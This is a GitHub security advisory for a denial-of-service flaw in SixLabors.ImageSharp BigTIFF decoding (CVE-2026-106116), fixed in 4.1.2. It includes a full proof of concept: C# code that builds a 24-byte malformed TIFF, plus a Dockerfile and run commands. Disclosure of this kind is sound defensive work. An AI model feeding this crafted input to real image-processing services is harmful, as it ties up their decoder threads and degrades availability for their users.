GHSA-WMXV-XPHR-5C9G

Vulnerability from github – Published: 2026-10-07 20:24 – Updated: 2026-10-07 20:24
VLAI
Summary
ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop
Details

Summary

SixLabors.ImageSharp 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input.

One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected range: >= 2.0.0, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

BigTIFF decoding and the unbounded ReadValues64 loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.

Details

ReadValues64 trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, ReadValue64 returns without advancing the stream or ending the outer loop.

Tested environment

The reproduction uses the DLL in the published NuGet 4.1.1 package:

SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker

Reproduction

The public Image.Load(Stream) call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count 5000000000. There are no bytes for an entry. Run the supplied container under a five-second timeout.

Complete observed output:

bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124

timeout exit code 124 means the decoder had not returned after five seconds.

The control is identical except the entry count is 1:

bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0

The control rejects malformed input promptly; it does not time out.

No active exploitation is known.

Complete PoC files

Program.cs:

using SixLabors.ImageSharp;

static class Program
{
    // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
    // The count field is controlled by the input.
    private static byte[] BuildBigTiff(ulong entryCount)
    {
        byte[] bytes = new byte[24];
        bytes[0] = 0x49; bytes[1] = 0x49;               // II
        bytes[2] = 0x2B; bytes[3] = 0x00;               // BigTIFF magic
        bytes[4] = 0x08; bytes[5] = 0x00;               // 8-byte offsets
        BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
        BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
        return bytes;
    }

    private static void Main(string[] args)
    {
        ulong entryCount = ulong.Parse(args[0]);
        byte[] bytes = BuildBigTiff(entryCount);
        Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
        try
        {
            using var stream = new MemoryStream(bytes);
            using Image image = Image.Load(stream);
            Console.Error.WriteLine("completed");
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
        }
    }
}

Project file:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
    </Reference>
  </ItemGroup>
</Project>

Dockerfile:

FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build wmxv.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/wmxv.dll"]

Run:

docker build -t imagesharp-wmxv-poc .
timeout 5 docker run --rm imagesharp-wmxv-poc 5000000000
docker run --rm imagesharp-wmxv-poc 1
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "SixLabors.ImageSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:24:32Z",
    "nvd_published_at": "2026-10-06T18:16:53Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `\u003e= 2.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nBigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.\n### Details\n\n[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nThe public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF\nwith its first IFD at offset 16 and entry count `5000000000`. There are no bytes\nfor an entry. Run the supplied container under a five-second timeout.\n\nComplete observed output:\n\n```text\nbigTiffBytes=24 entryCount=5000000000\ntimeout exit status: 124\n```\n\n`timeout` exit code 124 means the decoder had not returned after five seconds.\n\nThe control is identical except the entry count is `1`:\n\n```text\nbigTiffBytes=24 entryCount=1\ndecoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth\nDocker exit status: 0\n```\n\nThe control rejects malformed input promptly; it does not time out.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\n\nstatic class Program\n{\n    // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.\n    // The count field is controlled by the input.\n    private static byte[] BuildBigTiff(ulong entryCount)\n    {\n        byte[] bytes = new byte[24];\n        bytes[0] = 0x49; bytes[1] = 0x49;               // II\n        bytes[2] = 0x2B; bytes[3] = 0x00;               // BigTIFF magic\n        bytes[4] = 0x08; bytes[5] = 0x00;               // 8-byte offsets\n        BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);\n        BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);\n        return bytes;\n    }\n\n    private static void Main(string[] args)\n    {\n        ulong entryCount = ulong.Parse(args[0]);\n        byte[] bytes = BuildBigTiff(entryCount);\n        Console.Error.WriteLine($\"bigTiffBytes={bytes.Length} entryCount={entryCount}\");\n        try\n        {\n            using var stream = new MemoryStream(bytes);\n            using Image image = Image.Load(stream);\n            Console.Error.WriteLine(\"completed\");\n        }\n        catch (Exception ex)\n        {\n            Console.Error.WriteLine($\"decoderReturned={ex.GetType().Name} message={ex.Message}\");\n        }\n    }\n}\n\n```\n\nProject file:\n\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n    \u003cNullable\u003eenable\u003c/Nullable\u003e\n  \u003c/PropertyGroup\u003e\n  \u003c!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --\u003e\n  \u003cItemGroup\u003e\n    \u003cReference Include=\"SixLabors.ImageSharp\"\u003e\n      \u003cHintPath\u003e/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll\u003c/HintPath\u003e\n    \u003c/Reference\u003e\n    \u003cReference Include=\"System.IO.Hashing\"\u003e\n      \u003cHintPath\u003e/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll\u003c/HintPath\u003e\n    \u003c/Reference\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY wmxv.csproj Program.cs ./\nRUN printf \u0027%s\\n\u0027 \u0027\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\u003cPropertyGroup\u003e\u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\u003c/PropertyGroup\u003e\u003cItemGroup\u003e\u003cPackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /\u003e\u003c/ItemGroup\u003e\u003c/Project\u003e\u0027 \u003e fetch.csproj \\\n    \u0026\u0026 dotnet restore fetch.csproj --nologo \\\n    \u0026\u0026 rm fetch.csproj \\\n    \u0026\u0026 dotnet build wmxv.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/wmxv.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-wmxv-poc .\ntimeout 5 docker run --rm imagesharp-wmxv-poc 5000000000\ndocker run --rm imagesharp-wmxv-poc 1\n```",
  "id": "GHSA-wmxv-xphr-5c9g",
  "modified": "2026-10-07T20:24:32Z",
  "published": "2026-10-07T20:24:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-wmxv-xphr-5c9g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/pull/3187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/commit/92b12d72550ebb6be5b1e22e559c361fd863a6ec"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SixLabors/ImageSharp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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